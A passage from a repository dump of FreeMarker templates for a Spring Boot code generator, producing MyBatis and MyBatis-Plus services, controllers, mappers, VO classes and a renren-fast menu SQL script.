    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-vo.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}VO  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}VO() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    @Autowired\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/controller.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(value = \"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/insert\")\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/delete\")\n    public Object delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/update\")\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/load\")\n    public Object load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/pageList\")\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/mapper.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int delete(int id);\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    ${classInfo.className} load(int id);\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    List<${classInfo.className}> pageList(int offset,int pagesize);\n\n    /**\n    * 查询 分页查询 count\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int pageListCount(int offset,int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/mapper2.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.*;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    @Select(\"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{id}\")\n    public ${classInfo.className} getById(Integer id);\n\n    @Options(useGeneratedKeys=true,keyProperty=\"${classInfo.className?uncap_first}Id\")\n    @Insert(\"insert into ${classInfo.tableName}\" +\n        \" (<#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>)\" +\n        \" values(<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}<#if fieldItem_has_next>,<#else>)</#if></#list>\")\n    public Integer insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    @Delete(value = \"delete from ${classInfo.tableName} where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id}\")\n    boolean delete(Integer id);\n\n    @Update(value = \"update ${classInfo.tableName} set \"\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"id\">+\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next>,</#if>\"</#if>\n    </#list>\n        +\" where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id} \")\n    boolean update(${classInfo.className} ${classInfo.className?uncap_first});\n\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{queryParam}\")\n    ${classInfo.className} selectOne(String queryParam);\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where \"\n    <#list classInfo.fieldList as fieldItem >\n        +\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next> or </#if>\"\n    </#list>\n    )\n    List<${classInfo.className}> selectList(${classInfo.className} ${classInfo.className?uncap_first});\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/model.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    public ${classInfo.className}() {\n    }\n\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Mapper\">\n\n    <resultMap id=\"BaseResultMap\" type=\"${packageName}.entity.${classInfo.className}\" >\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n            </#list>\n        </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n            </#list>\n        </#if>\n    </sql>\n\n    <insert id=\"insert\" useGeneratedKeys=\"true\" keyColumn=\"id\" keyProperty=\"id\" parameterType=\"${packageName}.entity.${classInfo.className}\">\n        INSERT INTO ${classInfo.originTableName}\n        <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                        <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">\n                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n        <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                    <#--<#if fieldItem.columnName=\"addtime\" || fieldItem.columnName=\"updatetime\" >\n                    ${r\"<if test ='null != \"}${fieldItem.fieldName}${r\"'>\"}\n                        NOW()<#if fieldItem_has_next>,</#if>\n                    ${r\"</if>\"}\n                    <#else>-->\n                        <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">\n                        ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    <#--</#if>-->\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n    </insert>\n\n    <delete id=\"delete\" >\n        DELETE FROM ${classInfo.originTableName}\n        WHERE id = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"${packageName}.entity.${classInfo.className}\">\n        UPDATE ${classInfo.originTableName}\n        <set>\n            <#list classInfo.fieldList as fieldItem >\n                <#if fieldItem.columnName != \"id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n                    <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">${fieldItem.columnName} = ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>${r\"</if>\"}\n                </#if>\n            </#list>\n        </set>\n        WHERE id = ${r\"#{\"}id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.originTableName}\n        WHERE id = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.originTableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pageSize}\"}\n    </select>\n\n    <select id=\"pageListCount\" resultType=\"java.lang.Integer\">\n        SELECT count(1)\n        FROM ${classInfo.originTableName}\n    </select>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/service.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public Object delete(int id);\n\n    /**\n    * 更新\n    */\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 根据主键 id 查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-v1/service_impl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n\n\t@Override\n\tpublic Object insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn ${returnUtilFailure}(\"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        return ${returnUtilSuccess}();\n\t}\n\n\n\t@Override\n\tpublic Object delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.delete(id);\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic Object update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Mapper.load(id);\n\t}\n\n\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Mapper.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageMybatisXML}.${classInfo.className}Dao\">\n\n    <resultMap id=\"${classInfo.className}\" type=\"${packageModel}.${classInfo.className}\" >\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n    </#list>\n    </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n    </#if>\n    </sql>\n\n    <insert id=\"insert\" parameterType=\"java.util.Map\" >\n        INSERT INTO ${classInfo.tableName} (\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <#if fieldItem.columnName != \"Id\" >\n            `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#list>\n        </#if>\n        )\n        VALUES(\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" >\n            <#if fieldItem.columnName=\"AddTime\" || fieldItem.columnName=\"UpdateTime\" >\n            NOW()<#if fieldItem_has_next>,</#if>\n            <#else>\n            ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#if>\n        </#list>\n        </#if>\n        )\n    </insert>\n\n    <delete id=\"delete\" parameterType=\"java.util.Map\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"java.util.Map\" >\n        UPDATE ${classInfo.tableName}\n        SET\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n            ${fieldItem.columnName} = ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"},\n        </#if>\n        </#list>\n            UpdateTime = NOW()\n        WHERE `id` = ${r\"#{\"}${classInfo.className?uncap_first}.id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pagesize}\"}\n    </select>\n\n    <select id=\"pageListCount\" parameterType=\"java.util.Map\" resultType=\"int\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/menu-sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/rr-controller.ftl",
